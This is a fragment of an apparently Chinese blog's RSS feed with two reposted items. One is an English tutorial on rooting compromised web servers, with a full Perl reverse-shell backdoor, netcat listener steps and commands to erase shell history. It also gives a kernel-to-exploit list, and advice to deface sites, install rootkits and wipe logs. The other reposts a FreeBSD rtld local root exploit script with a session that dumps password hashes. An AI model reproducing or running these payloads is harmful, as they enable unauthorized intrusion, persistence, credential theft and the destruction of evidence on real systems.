		<pubDate>Fri, 11 Dec 2009 04:50:21 +0000</pubDate>
		<dc:creator>daxigua</dc:creator>
				<category><![CDATA[技术杂文]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://www.daxigua.com/archives/2454</guid>
		<description><![CDATA[注：内容比较全，也用到了那个知名的bc.pl文件 #Trace: Linux 提权教程。 参考视频： [1]http://rapidshare.com/files/109733291/Linux_Rooting.rar.html [2]http://files.ge/file/401011/vidzeo-tar-gz.html Today, I have decided to put up... ]]></description>
			<content:encoded><![CDATA[<p style="margin-top: 1em; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; word-break: break-all; font: normal normal normal 14px/1.8em 'Times New Roman'; padding: 0px;">注：内容比较全，也用到了那个知名的bc.pl文件</p>
<p style="margin-top: 1em; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; word-break: break-all; font: normal normal normal 14px/1.8em 'Times New Roman'; padding: 0px;"><strong>#<a href="http://www.pcsec.org/archives/How-to-root-a-box.html" target="_blank">Trace</a>: Linux 提权教程。<br />
参考视频：<br />
</strong>
</p>
<p style="margin-top: 1em; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; word-break: break-all; font: normal normal normal 14px/1.8em 'Times New Roman'; padding: 0px;"><strong> </strong> [1]<a style="color: #333399;" href="http://rapidshare.com/files/109733291/Linux_Rooting.rar.html" target="_blank">http://rapidshare.com/files/109733291/Linux_Rooting.rar.html</a></p>
<p style="margin-top: 1em; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; word-break: break-all; font: normal normal normal 14px/1.8em 'Times New Roman'; padding: 0px;">[2]<a style="color: #333399;" href="http://files.ge/file/401011/vidzeo-tar-gz.html" target="_blank">http://files.ge/file/401011/vidzeo-tar-gz.html</a></p>
<p style="margin-top: 1em; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; word-break: break-all; font: normal normal normal 14px/1.8em 'Times New Roman'; padding: 0px;">
Today, I have decided to put up a tutorial for both newbies and pwners! and just reference for all of us. This is a dream of every h4k3r, to get free root access. if you haven&#8217;t got one, then try harder, because you are not a h4ck3r then.<span id="more-2454"></span></p>
<p>Hacking is not about dumping database using prescripted materials by another hacker, a good hacker does write his own script and use it to the maximum extent to achieve whatever his/her project was, and this is refers to as priv8 script.</p>
<p>You have to get access to restricted access before you can say, I&#8217;m a h4xor or so!<br />
Today, I will give you brief tutorial on how to get your first root access!</p>
<p>Ok enough.</p>
<p>requirement:<br />
shell http://unsecure-site.com/r57.php</p>
<p>http://unsecured-site.com/c99.php</p>
<p>This mean you have downloaded shell on the site.</p>
<p>You will need, swiss-army weapon (Don&#8217;t travel to swiss yet, this is netcat) and it can be downloaded on internet free of charge</p>
<p>you will also need a backconnect script. I provided one for your use here!</p>
<p>so let&#8217;s roll on.</p>
<p>Shell Access on a website is the first thing you will need.</p>
<p>You can get this access, by doing uploading of shell to any vulnerable website using the following method:<br />
LFI = Local File Inclusion<br />
RFI = Remote File Inclusion<br />
SQL Injection</p>
<p>I will not go to details on the above. I will post extensive tutorial on those later, but I think the forum must have some nice tuto on those, do some search. <img src='http://www.daxigua.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>NOW, get swiss knife weapon, AKA netcat</p>
<p>http://www.vulnwatch.org/netcat/nc111nt.zip</p>
<p>If you have an antivirus that auto deletes infected files or virus i would suggest<br />
disabling it as some av&#8217;s will detect netcat as a hacktool or remote admin tool.<br />
it is not a virus.</p>
<p>Downloaded? good on window box, double click it and it will bring up a command prompt, then type</p>
<p>-vv -l -n -p &lt;porttoconnecton&gt;</p>
<p>Now backconnet<br />
I preffer to use one thats not<br />
in the shell because i find that those back connects work shitty so i will provide you<br />
with one that i use. Very simple to use just save as &#8220;bc.pl&#8221; then upload to server and<br />
end execute.</p>
<p>Code:<br />
perl bc.pl &lt;youriphere&gt; &lt;porttoconnecton&gt;<br />
Code: PERL</p>
<p>#!/usr/bin/perl<br />
use IO::Socket;<br />
# Priv8 ** Priv8 ** Priv8<br />
# s4t3ll1t3 SABOTAGE Connect Back Shell<br />
# code by:s4t3ll1t3<br />
# We Are :s4t3ll1t3-C0d3r-NT-\x90<br />
# Email:s4t3ll1t3@ihsteam.com<br />
#<br />
#s4t3ll1t3@SlackwareLinux:/home/programing$ perl dc.pl<br />
#&#8211;== ConnectBack Backdoor Shell vs 1.0 by s4t3ll1t3 of s4t3ll1t3 SABOTAGE ==&#8211;<br />
#<br />
#Usage: dc.pl [Host] [Port]<br />
#<br />
#Ex: dc.pl 127.0.0.1 2121<br />
#s4t3ll1t3@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121<br />
#&#8211;== ConnectBack Backdoor Shell vs 1.0 by s4t3ll1t3 of s4t3ll1t3 SABOTAGE ==&#8211;<br />
#<br />
#[*] Resolving HostName<br />
#[*] Connecting&#8230; 127.0.0.1<br />
#[*] Spawning Shell<br />
#[*] Connected to remote host</p>
<p>#bash-2.05b# nc -vv -l -p 2121<br />
#listening on [any] 2121 &#8230;<br />
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769<br />
#&#8211;== ConnectBack Backdoor vs 1.0 by s4t3ll1t3 of s4t3ll1t3 SABOTAGE ==&#8211;<br />
#<br />
#&#8211;==Systeminfo==&#8211;<br />
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown<br />
GNU/Linux<br />
#<br />
#&#8211;==Userinfo==&#8211;<br />
#uid=1001(lamer) gid=100(users) groups=100(users)<br />
#<br />
#&#8211;==Directory==&#8211;<br />
#/root<br />
#<br />
#&#8211;==Shell==&#8211;<br />
#<br />
$system = &#8216;/bin/bash&#8217;;<br />
$ARGC=@ARGV;<br />
print &#8220;IHS BACK-CONNECT BACKDOOR\n\n&#8221;;<br />
if ($ARGC!=2) {<br />
print &#8220;Usage: $0 [Host] [Port] \n\n&#8221;;<br />
die &#8220;Ex: $0 127.0.0.1 2121 \n&#8221;;<br />
}<br />
use Socket;<br />
use FileHandle;<br />
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(&#8216;tcp&#8217;)) or die print &#8220;[-] Unable to<br />
Resolve Host\n&#8221;;<br />
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print &#8220;[-] Unable to<br />
Connect Host\n&#8221;;<br />
print &#8220;[*] Resolving HostName\n&#8221;;<br />
print &#8220;[*] Connecting&#8230; $ARGV[0] \n&#8221;;<br />
print &#8220;[*] Spawning Shell \n&#8221;;<br />
print &#8220;[*] Connected to remote host \n&#8221;;<br />
SOCKET-&gt;autoflush();<br />
open(STDIN, &#8220;&gt;&amp;SOCKET&#8221;);<br />
open(STDOUT,&#8221;&gt;&amp;SOCKET&#8221;);<br />
open(STDERR,&#8221;&gt;&amp;SOCKET&#8221;);<br />
print &#8220;IHS BACK-CONNECT BACKDOOR \n\n&#8221;;<br />
system(&#8220;unset HISTFILE; unset SAVEHIST;echo &#8211;==Systeminfo==&#8211;; uname -a;echo;<br />
echo &#8211;==Userinfo==&#8211;; id;echo;echo &#8211;==Directory==&#8211;; pwd;echo; echo &#8211;==Shell==&#8211; &#8220;);<br />
system($system);<br />
#EOF</p>
<p>copy the above to a file and name it bc.pl upload it to server, you are done.</p>
<p>**Note that if you are running a router or wireless on multiple ips set by your dhcp you<br />
might have to forward the &lt;porttoconnecton&gt; to what ever the ip of your computer is. You<br />
can check this by opening command prompt and typing ipconfig you should get an ip that<br />
looks similar to 192.168.1.100 which is the ip to forward to. If you are unsure about<br />
how to forward your port check out this site and find your router model.</p>
<p>http://portforward.com/routers.htm</p>
<p>Now back to netcat, type the following command.</p>
<p>-vv -l -n -p 443</p>
<p>for this tutorial we will connect on port 4343. Hit enter and it<br />
should start listening for a connection.</p>
<p>remember you had downloaded bc.pl. on the server, now conncet it to you netcat with the following command<br />
perl bc.pl &lt;yourip&gt; 443</p>
<p>Check your netcat, it should be connected<br />
giving you details info about the box.</p>
<p>i like to do this first to know the kinda exploit u will use.<br />
uname -a;id<br />
Once executed you will see something probably similar to</p>
<p>Code:<br />
Linux alexandra.adm24.de 2.6.8-2-686-smp #1 SMP Tue Aug 16 12:08:30 UTC 2005 i686<br />
GNU/Linux<br />
uid=33(www-data) gid=33(www-data) groups=33(www-data)</p>
<p>The important information here that you want is the OS &amp; Kernel version which is 2.6.8-2 and you can see the last update of it was in 2005 so it&#8217;s fairly old. which is a good thing for us.</p>
<p>below here are kernel that can be rooted, just general ideal. i have a link to the kernels and their exploit, check it out</p>
<p>http://www.molotovbitch.org/localroot/</p>
<p>Code:<br />
2.2 -&gt; ptrace<br />
2.4.17 -&gt; newlocal, kmod, uselib24<br />
2.4.18 -&gt; brk, brk2, newlocal, kmod<br />
2.4.19 -&gt; brk, brk2, newlocal, kmod<br />
2.4.20 -&gt; ptrace, kmod, ptrace-kmod, brk, brk2<br />
2.4.21 -&gt; brk, brk2, ptrace, ptrace-kmod<br />
2.4.22 -&gt; brk, brk2, ptrace, ptrace-kmod<br />
2.4.22-10 -&gt; loginx<br />
2.4.23 -&gt; mremap_pte<br />
2.4.24 -&gt; mremap_pte, uselib24<br />
2.4.25-1 -&gt; uselib24<br />
2.4.27 -&gt; uselib24<br />
2.6.2 -&gt; mremap_pte, krad, h00lyshit<br />
2.6.5 -&gt; krad, krad2, h00lyshit<br />
2.6.6 -&gt; krad, krad2, h00lyshit<br />
2.6.7 -&gt; krad, krad2, h00lyshit<br />
2.6.8 -&gt; krad, krad2, h00lyshit<br />
2.6.8-5 -&gt; krad2, h00lyshit<br />
2.6.9 -&gt; krad, krad2, h00lyshit<br />
2.6.9-34 -&gt; r00t, h00lyshit<br />
2.6.10 -&gt; krad, krad2, h00lyshit<br />
2.6.13 -&gt; raptor, raptor2, h0llyshit, prctl<br />
2.6.14 -&gt; raptor, raptor2, h0llyshit, prctl<br />
2.6.15 -&gt; raptor, raptor2, h0llyshit, prctl<br />
2.6.16 -&gt; raptor, raptor2, h0llyshit, prctl<br />
2.6.23 &#8211; 2.6.24 -&gt; diane_lane_******_hard.c<br />
2.6.17 &#8211; 2.6.24-1 -&gt; jessica_biel_naked_in_my_bed.c</p>
<p>you can get it there update version on this site.</p>
<p>http://www.molotovbitch.org/localroot/</p>
<p>Once you have found the Kernel ver. of the server you are about to root you need to find<br />
the Local Root Exploit for that kernel which you can find with google using the list<br />
above. or just go here to make it easier!</p>
<p>http://www.molotovbitch.org/localroot/</p>
<p>Now check which exploit goes for which kernel, ok? you found it. good, before doing anything on this server, be as smart as possible, type this command</p>
<p>unset HISTFILE ; unset HISTSIZE ; export HISTFILESIZE=0 ;<br />
this simply try to help your ass to to be traced by the histroy of your commands</p>
<p>Now comply and root.</p>
<p>To Compile your scripts go to<br />
your shell that you have spawned with netcat and follow this instructions.</p>
<p>Code:<br />
gcc xpl.c -o xpl<br />
This will compile your xpl.c to a file named xpl.</p>
<p>From here now all you have to do is run your exploit which can be done by simply typing<br />
in your netcat connection</p>
<p>Code:<br />
./xpl</p>
<p>It should execute the exploit file which you have just compiled and give you root</p>
<p>then type<br />
id; whoami</p>
<p>it should say, root, your are root</p>
<p>Congratulations! then remember me in your dream for posting this for your use.</p>
<p>remember, all exploits are not just compile and execute, some requires some little works eg h0llyshit. it require a big file to work.</p>
<p>example of h00lyshit here</p>
<p>before the compile)<br />
For the h00lyshit we must type:<br />
gcc h00lyshit.c -o h00lyshit<br />
then you get h00lyshit.<br />
The command to run this exploit is:<br />
./h00lyshit &lt;very big file on the disk&gt;<br />
We need a very big file on the disk in order to run successfully and to get root.<br />
We must create a big file in /tmp or into another writable folder.<br />
The command is:<br />
dd if=/dev/urandom of=largefile count=2M<br />
where largefile is the filename.<br />
please wait 2-3 minutes to get the file created!<br />
If this command fails we can try:<br />
dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024<br />
Now we can procced to the last step. We can run the exploit by typing:<br />
./h00lyshit largefile or<br />
./h00lyshit /tmp/largefile<br />
(If we are in a different writable folder and the largefile is created in /tmp)<br />
If there are not running errors (maybe the kernel is patched or is something wrong with<br />
exploit run or large file) we will get root<br />
To check if we got root:<br />
id or<br />
whoami<br />
If it says root we got root!<br />
Now we can deface/mass deface all the sites of the server or to setup a rootkit (e.g.<br />
SSHDoor) and to take ssh/telnet shell access to the server.<br />
We must erase all logs in order to be safe with a log cleaner. A good cleaner for this<br />
job is the MIG Log Cleaner. clean your tracks, never leave them uncleaned!</p>
<p>This tutorial is written by me, siteprojects<br />
for more hands on training you can join me on my irc at irc.unixreal.net #siteprojects</p>
<p>I have provided some server for training.. so dont worry.</p>
<p>written by siteprojects and credit should be given to those who deserve it.</p>
<p>You have permission to post in another forum like always, but do not forget to give credit.<br />
like I say, join irc.unixreal.net #siteprojects on details on how to get box rooted, LFI RFI SQL etc.</p>
<p>N jooooooooooooooy
</p>
<p style="margin-top: 1em; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; word-break: break-all; font: normal normal normal 14px/1.8em 'Times New Roman'; padding: 0px;">Posted by <strong><span>siteprojects</span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.daxigua.com/archives/2454/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD爆严重安全漏洞</title>
		<link>http://www.daxigua.com/archives/2432</link>
		<comments>http://www.daxigua.com/archives/2432#comments</comments>
		<pubDate>Thu, 03 Dec 2009 05:51:01 +0000</pubDate>
		<dc:creator>daxigua</dc:creator>
				<category><![CDATA[技术杂文]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.daxigua.com/archives/2432</guid>
		<description><![CDATA[From: http://seclists.org/fulldisclosure/2009/Nov/371 ** FreeBSD local r00t 0day Discovered &#38; Exploited by Nikolaos Rangos also known as Kingcope. Nov 2009 &#8220;BiG TiME&#8221; &#8220;Go fetch your FreeBSD r00tkitz&#8221; // http://www.youtube.com/... ]]></description>
			<content:encoded><![CDATA[<p>From: <a href="http://seclists.org/fulldisclosure/2009/Nov/371" target="_blank">http://seclists.org/fulldisclosure/2009/Nov/371</a></p>
<p>** FreeBSD local r00t 0day<br />
Discovered &amp; Exploited by Nikolaos Rangos also known as Kingcope.<br />
Nov 2009 &#8220;BiG TiME&#8221;</p>
<p>&#8220;Go fetch your FreeBSD r00tkitz&#8221; // <a rel="nofollow" href="http://www.youtube.com/watch?v=dDnhthI27Fg">http://www.youtube.com/watch?v=dDnhthI27Fg</a></p>
<p>There is an unbelievable simple local r00t bug in recent FreeBSD versions.<br />
I audited FreeBSD for local r00t bugs a long time *sigh*. Now it pays out.</p>
<p>The bug resides in the Run-Time Link-Editor (rtld).<br />
Normally rtld does not allow dangerous environment variables like LD_PRELOAD<br />
to be set when executing setugid binaries like &#8220;ping&#8221; or &#8220;su&#8221;.<br />
With a rather simple technique rtld can be tricked into<br />
accepting LD variables even on setugid binaries.<br />
See the attached exploit for details.<span id="more-2432"></span></p>
<p>Example exploiting session<br />
**********************************<br />
%uname -a;id;<br />
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21<br />
15:48:17 UTC 2009<br />
root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC  i386<br />
uid=1001(kcope) gid=1001(users) groups=1001(users)<br />
%./w00t.sh<br />
FreeBSD local r00t zeroday<br />
by Kingcope<br />
November 2009<br />
env.c: In function &#8216;main&#8217;:<br />
env.c:5: warning: incompatible implicit declaration of built-in<br />
function &#8216;malloc&#8217;<br />
env.c:9: warning: incompatible implicit declaration of built-in<br />
function &#8216;strcpy&#8217;<br />
env.c:11: warning: incompatible implicit declaration of built-in<br />
function &#8216;execl&#8217;<br />
/libexec/ld-elf.so.1: environment corrupt; missing value for<br />
/libexec/ld-elf.so.1: environment corrupt; missing value for<br />
/libexec/ld-elf.so.1: environment corrupt; missing value for<br />
/libexec/ld-elf.so.1: environment corrupt; missing value for<br />
/libexec/ld-elf.so.1: environment corrupt; missing value for<br />
/libexec/ld-elf.so.1: environment corrupt; missing value for<br />
ALEX-ALEX<br />
# uname -a;id;<br />
FreeBSD r00tbox.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21<br />
15:48:17 UTC 2009<br />
root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC  i386<br />
uid=1001(kcope) gid=1001(users) euid=0(root) groups=1001(users)<br />
# cat /etc/master.passwd<br />
# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.2.1 2009/10/25 01:10:29<br />
kensmith Exp $<br />
#<br />
root:$1$AUbbHoOs$CCCsw7hsMB14KBkeS1xlz2:0:0::0:0:Charlie &amp;:/root:/bin/csh<br />
toor:*:0:0::0:0:Bourne-again Superuser:/root:<br />
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin<br />
operator:*:2:5::0:0:System &amp;:/:/usr/sbin/nologin<br />
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin<br />
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin<br />
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin<br />
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin<br />
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin<br />
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin<br />
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin<br />
smmsp:*:25:25::0:0:Sendmail Submission<br />
User:/var/spool/clientmqueue:/usr/sbin/nologin<br />
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin<br />
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin<br />
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin<br />
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin<br />
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin<br />
uucp:*:66:66::0:0:UUCP<br />
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico<br />
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin<br />
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin<br />
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin<br />
kcope:$1$u2wMkYLY$CCCuKax6dvYJrl2ZCYXA2:1001:1001::0:0:User<br />
&amp;:/home/kcope:/bin/sh<br />
#</p>
<p>Systems tested/affected<br />
**********************************<br />
FreeBSD 8.0-RELEASE *** VULNERABLE<br />
FreeBSD 7.1-RELEASE *** VULNERABLE<br />
FreeBSD 6.3-RELEASE *** NOT VULN<br />
FreeBSD 4.9-RELEASE *** NOT VULN</p>
<p>*EXPLOIT*</p>
<p>#!/bin/sh<br />
echo ** FreeBSD local r00t zeroday<br />
echo by Kingcope<br />
echo November 2009<br />
cat &gt; env.c &lt;&lt; _EOF<br />
#include &lt;stdio.h&gt;</p>
<p>main() {<br />
        extern char **environ;<br />
        environ = (char**)malloc(8096);</p>
<p>        environ[0] = (char*)malloc(1024);<br />
        environ[1] = (char*)malloc(1024);<br />
        strcpy(environ[1], &#8220;LD_PRELOAD=/tmp/w00t.so.1.0&#8243;);</p>
<p>        execl(&#8220;/sbin/ping&#8221;, &#8220;ping&#8221;, 0);<br />
}<br />
_EOF<br />
gcc env.c -o env<br />
cat &gt; program.c &lt;&lt; _EOF<br />
#include &lt;unistd.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;stdlib.h&gt;</p>
<p>void _init() {<br />
        extern char **environ;<br />
        environ=NULL;<br />
        system(&#8220;echo ALEX-ALEX;/bin/sh&#8221;);<br />
}<br />
_EOF<br />
gcc -o program.o -c program.c -fPIC<br />
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles<br />
cp w00t.so.1.0 /tmp/w00t.so.1.0<br />
./env</p>
<p>在圣诞节即将到来的日子，以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.0的32及64位系统。</p>
<p><span id="more-4324"> </span>在展示该漏洞威力之前，我们科普一下著名黑客kingcope。从2007年6月至今，他一共公开了12个安全漏洞（没公开的不知道有多少），其中FreeBSD和Sun Solaris各两个，微软四个，Oracle、mysql、NcFTPD和nginx各一个，同时他还编写了多个漏洞的攻击代码，例如Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daxigua.com/archives/2432/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.873 seconds -->
